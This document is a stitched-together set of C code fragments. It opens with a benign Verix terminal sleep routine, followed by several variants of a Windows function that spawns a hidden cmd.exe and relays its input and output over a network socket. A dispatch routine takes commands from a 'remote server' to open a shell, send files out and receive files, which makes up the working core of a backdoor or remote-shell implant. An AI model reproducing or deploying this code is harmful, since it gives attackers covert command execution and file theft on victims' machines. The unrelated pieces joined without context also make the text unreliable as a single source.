// Puts the device in a suspended power state, if supported. // Specific to Verix: Sleep only supported on battery-powered terminals while running on battery. // Terminal will power off after being in sleep state long enough. void Platform_powersleep(void) { set_backlight(0); read_evt(EVT_CONSOLE | EVT_KBD | EVT_SYSTEM); // Clear the events // Grab the sleep semaphore and hold onto it until sleep is done. // When comm thread tries to poll it, this will freeze the communications thread and prevent // it from waiting on anything else that could wake the terminal during sleep. // (If it is waiting on anything like a timer or Platform_sleep_ms the terminal will not stay asleep.) sem_wait(&SleepSemaphore); Platform_sleep_ms(1200); // Give the comm thread long enough to get stuck waiting on the semaphore, // which it polls every 1000ms while idle. SVC_SLEEP(); // The Sleep will not occur right now, but it will occur as soon as all threads are completely idle // (i.e. waiting on unavailable semaphore or untriggered events) wait_evt(EVT_CONSOLE | EVT_KBD | EVT_SYSTEM); // Wait for events signaling a wakeup or powerup, which shall be set upon awake due to *GKE=1 (set at startup) //LastUserActivityTick = read_ticks(); set_backlight(1); // Release the semaphore, allowing the communications thread to start running. sem_post(&SleepSemaphore); }
void cmd (void) { SECURITY_ATTRIBUTES sa; PROCESS_INFORMATION pi; STARTUPINFO si; OVERLAPPED lap; HANDLE in[2], out[2]; DWORD p, e; sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; evt[stdout_evt = evt_cnt++] = CreateEvent (NULL, TRUE, TRUE, NULL); if (CreatePipe (&in[R_PIPE], &in[W_PIPE], &sa, 0)) { out[R_PIPE] = CreateNamedPipe ("\\\\.\\pipe\\0", PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, &sa); if (out[R_PIPE] != INVALID_HANDLE_VALUE) { out[W_PIPE] = CreateFile ("\\\\.\\pipe\\0", GENERIC_WRITE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (out[W_PIPE] != INVALID_HANDLE_VALUE) { ZeroMemory (&si, sizeof (si)); ZeroMemory (&pi, sizeof (pi)); SetHandleInformation (in[W_PIPE], HANDLE_FLAG_INHERIT, 0); SetHandleInformation (out[R_PIPE], HANDLE_FLAG_INHERIT, 0); si.cb = sizeof (si); si.hStdInput = in[R_PIPE]; si.hStdError = out[W_PIPE]; si.hStdOutput = out[W_PIPE]; si.dwFlags = STARTF_USESTDHANDLES; if (CreateProcess (NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { evt[proc_evt = evt_cnt++] = pi.hProcess; ZeroMemory (&lap, sizeof (lap)); lap.hEvent = evt[stdout_evt]; p=0; do { e=wait_evt(); if (e==ctrl_evt) { printf (" [ CTRL+C received\n"); break; } if (e==proc_evt) { printf (" [ cmd.exe terminated\n"); break; } if (e == -1) break; // is this socket event? if (e == sck_evt) { if (ReadDecrypt () != SEC_E_OK) break; WriteFile (in[W_PIPE], pbDataIn, cbDataIn, &cbDataIn, 0); p--; // we're ready to read again. } else // data from cmd.exe? if (e == stdout_evt) { if (p==0) // still waiting for previous read to complete? { if (!ReadFile (out[R_PIPE], pbDataOut, cbBufferLen, &cbDataOut, &lap)) { if (GetLastError() != ERROR_IO_PENDING) { // problem... break; } else { p++; } } else { p++; } } else { if (!GetOverlappedResult (out[R_PIPE], &lap, &cbDataOut, FALSE)) { // problem... break; } if (cbDataOut != 0) { if (ssl_send() != SEC_E_OK) break; p--; } } } } while (1); TerminateProcess (pi.hProcess, 0); CloseHandle (pi.hThread); CloseHandle (pi.hProcess); evt_cnt--; } CloseHandle (out[W_PIPE]); } CloseHandle (out[R_PIPE]); } CloseHandle (in[W_PIPE]); CloseHandle (in[R_PIPE]); } CloseHandle (evt[stdout_evt]); evt_cnt--; }
/**F*****************************************************************/ int dispatch (spp_ctx *c) /** * PURPOSE : receives commands from remote server * * RETURN : 1 to terminate else 0 * * NOTES : * *F*/ { DWORD e, terminate=0, end=0; spp_blk in; DWORD sck_evt; HANDLE evt[MAXIMUM_WAIT_OBJECTS]; DWORD evt_cnt=0; evt[sck_evt = evt_cnt++] = WSACreateEvent(); do { // wait for event e=wait_evt(evt, evt_cnt, sck_evt, c->s); // failure? exit if (e == -1) { printf ("[ wait_evt() failure : returned %08X\n", e); return 0; } // receive packet if (spp_recv(c, &in) != SPP_ERR_OK) { break; } // inspect packet switch (in.cmd.opt) { // terminate client case SPP_CMD_TERM : { DEBUG_PRINT("received command to terminate"); terminate=1; break; } // close the connection case SPP_CMD_CLOSE : { DEBUG_PRINT("received command to close connection"); end=1; break; } // execute cmd.exe for remote server case SPP_CMD_SHELL : { DEBUG_PRINT("received command to execute cmd.exe"); cmd(c); break; } // send a file to remote server // buf should contain the name of file to open case SPP_CMD_GET : { DEBUG_PRINT("received command to send file"); c_get(c, in.cmd.buf); break; } // receive a file from remote server // buf should contain the name of file to create case SPP_CMD_PUT : { DEBUG_PRINT("received command to receive file"); c_put(c, in.cmd.buf); break; } default: DEBUG_PRINT("unknown command received %08X", in.cmd.opt); break; } // continue until close or terminate } while (!end && !terminate); return terminate; }
/**F*****************************************************************/ void cmd (spp_ctx *c) { SECURITY_ATTRIBUTES sa; PROCESS_INFORMATION pi; STARTUPINFO si; OVERLAPPED lap; HANDLE lh[4]; DWORD p, e, wr; spp_blk in, out; int r; char buf[MAX_PATH]; HANDLE evt[MAXIMUM_WAIT_OBJECTS]; DWORD evt_cnt=0, sck_evt=0, stdout_evt=0, proc_evt=0; DEBUG_PRINT ("create event for socket"); evt[sck_evt = evt_cnt++] = WSACreateEvent(); DEBUG_PRINT("create event for stdout handle of cmd.exe"); evt[stdout_evt = evt_cnt++] = CreateEvent (NULL, TRUE, TRUE, NULL); DEBUG_PRINT("initialize security descriptor"); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; DEBUG_PRINT("create anonymous read/write pipes for stdin of cmd.exe"); if (CreatePipe (&lh[0], &lh[1], &sa, 0)) { DEBUG_PRINT("format named pipe using tick count and current process id"); wnsprintf (buf, MAX_PATH, "\\\\.\\pipe\\%08X", GetCurrentProcessId() ^ GetTickCount()); DEBUG_PRINT("create named pipe for stdout/stderr of cmd.exe"); lh[2] = CreateNamedPipe (buf, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL); if (lh[2] != INVALID_HANDLE_VALUE) { DEBUG_PRINT("open the named pipe"); lh[3] = CreateFile (buf, MAXIMUM_ALLOWED, 0, &sa, OPEN_EXISTING, 0, NULL); if (lh[3] != INVALID_HANDLE_VALUE) { // zero initialize parameters for CreateProcess ZeroMemory (&si, sizeof (si)); ZeroMemory (&pi, sizeof (pi)); si.cb = sizeof (si); si.hStdInput = lh[0]; // assign the anon read pipe si.hStdError = lh[3]; // assign the named write pipe si.hStdOutput = lh[3]; // si.dwFlags = STARTF_USESTDHANDLES; DEBUG_PRINT("execute cmd.exe with no window"); if (CreateProcess (NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { // monitor state of cmd.exe evt[proc_evt = evt_cnt++] = pi.hProcess; ZeroMemory (&lap, sizeof (lap)); // assign stdout event lap.hEvent = evt[stdout_evt]; // set pending to 0 p=0; for (;;) { DEBUG_PRINT("wait for events on cmd.exe and socket"); e=wait_evt(evt, evt_cnt, sck_evt, c->s); // cmd.exe ended? if (e==proc_evt) { DEBUG_PRINT("cmd.exe ended"); break; } // wait failed? if (e == -1) { DEBUG_PRINT("wait failed"); break; } // is this socket event? if (e == sck_evt) { DEBUG_PRINT("socket event"); // receive data from socket r=spp_recv (c, &in); if (r!=SPP_ERR_OK) { DEBUG_PRINT("spp_recv error"); break; } // write to stdin of cmd.exe using anonymous write pipe WriteFile (lh[1], in.buf, in.len, &wr, 0); } else // output from cmd.exe? if (e == stdout_evt) { // if not in pending read state, read from named pipe if (p == 0) { ReadFile (lh[2], out.buf, SPP_DATA_LEN, (LPDWORD)&out.len, &lap); p++; } else { // get overlapped result if (!GetOverlappedResult (lh[2], &lap, (LPDWORD)&out.len, FALSE)) { break; } } // if we have something if (out.len != 0) { // send to remote r=spp_send (c, &out); if (r!=SPP_ERR_OK) { DEBUG_PRINT("spp_send error %i", r); break; } WSAEventSelect(c->s, evt[sck_evt], FD_CLOSE | FD_READ); p--; } } } // end cmd.exe incase it's still running TerminateProcess (pi.hProcess, 0); // close handles and decrease events CloseHandle (pi.hThread); CloseHandle (pi.hProcess); evt_cnt--; } // close handle to named pipe for stdout CloseHandle (lh[3]); } // close named pipe for stdout CloseHandle (lh[2]); } // close anon pipes for read/write to stdin CloseHandle (lh[1]); CloseHandle (lh[0]); } // close stdout event handle CloseHandle (evt[stdout_evt]); evt_cnt--; // close socket event handle CloseHandle (evt[sck_evt]); evt_cnt--; // tell server, we're exiting DEBUG_PRINT("sending termination signal"); out.len=0; spp_send(c, &out); }
/**F*****************************************************************/ void cmd (SOCKET s) { SECURITY_ATTRIBUTES sa; PROCESS_INFORMATION pi; STARTUPINFO si; OVERLAPPED lap; HANDLE lh[4]; DWORD p, e, wr; BYTE buf[BUFSIZ]; int len; HANDLE evt[MAXIMUM_WAIT_OBJECTS]; DWORD evt_cnt=0, sck_evt=0; DWORD stdout_evt=0, proc_evt=0; // create event for socket evt[sck_evt = evt_cnt++] = WSACreateEvent(); // initialize security descriptor sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; // create anonymous read/write pipes for stdin of cmd.exe if (CreatePipe (&lh[0], &lh[1], &sa, 0)) { // format named pipe using tick count and current process id wnsprintf ((char*)buf, BUFSIZ, "\\\\.\\pipe\\%08X", GetCurrentProcessId() ^ GetTickCount()); // create named pipe for stdout/stderr of cmd.exe lh[2] = CreateNamedPipe ((char*)buf, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL); if (lh[2] != INVALID_HANDLE_VALUE) { // open the pipe lh[3] = CreateFile ((char*)buf, MAXIMUM_ALLOWED, 0, &sa, OPEN_EXISTING, 0, NULL); if (lh[3] != INVALID_HANDLE_VALUE) { // create event for stdout handle of cmd.exe // initially in a signalled state evt[evt_cnt]=CreateEvent (NULL, TRUE, TRUE, NULL); stdout_evt = evt_cnt++; // zero initialize parameters for CreateProcess ZeroMemory (&si, sizeof (si)); ZeroMemory (&pi, sizeof (pi)); si.cb = sizeof (si); si.hStdInput = lh[0]; // assign the anon read pipe si.hStdError = lh[3]; // assign the named write pipe si.hStdOutput = lh[3]; // si.dwFlags = STARTF_USESTDHANDLES; // execute cmd.exe with no window if (CreateProcess (NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { // monitor state of cmd.exe evt[proc_evt = evt_cnt++] = pi.hProcess; ZeroMemory (&lap, sizeof (lap)); // assign stdout event lap.hEvent = evt[stdout_evt]; // set pending to 0 p=0; for (;;) { // wait for events on cmd.exe and socket e=wait_evt(evt, evt_cnt, sck_evt, s); // cmd.exe ended? if (e==proc_evt) { break; } // wait failed? if (e == -1) { break; } // is this socket event? if (e == sck_evt) { // receive data from socket len=recv (s, (char*)buf, sizeof(buf), 0); if (len<=0) break; // write to stdin of cmd.exe WriteFile (lh[1], buf, len, &wr, 0); } else // output from cmd.exe? if (e == stdout_evt) { // if not in pending read state, read stdin if (p == 0) { ReadFile (lh[2], buf, sizeof(buf), (LPDWORD)&len, &lap); p++; } else { // get overlapped result if (!GetOverlappedResult (lh[2], &lap, (LPDWORD)&len, FALSE)) { break; } } // if we have something if (len != 0) { // send to remote len=send (s, (char*)buf, len, 0); if (len<=0) break; p--; } } } // end cmd.exe incase it's still running TerminateProcess (pi.hProcess, 0); // close handles and decrease events CloseHandle (pi.hThread); CloseHandle (pi.hProcess); evt_cnt--; } // close handle to named pipe for stdout CloseHandle (lh[3]); } // close named pipe for stdout CloseHandle (lh[2]); } // close anon pipes for read/write to stdin CloseHandle (lh[1]); CloseHandle (lh[0]); } // close stdout event handle CloseHandle (evt[stdout_evt]); evt_cnt--; // close socket event handle CloseHandle (evt[sck_evt]); evt_cnt--; }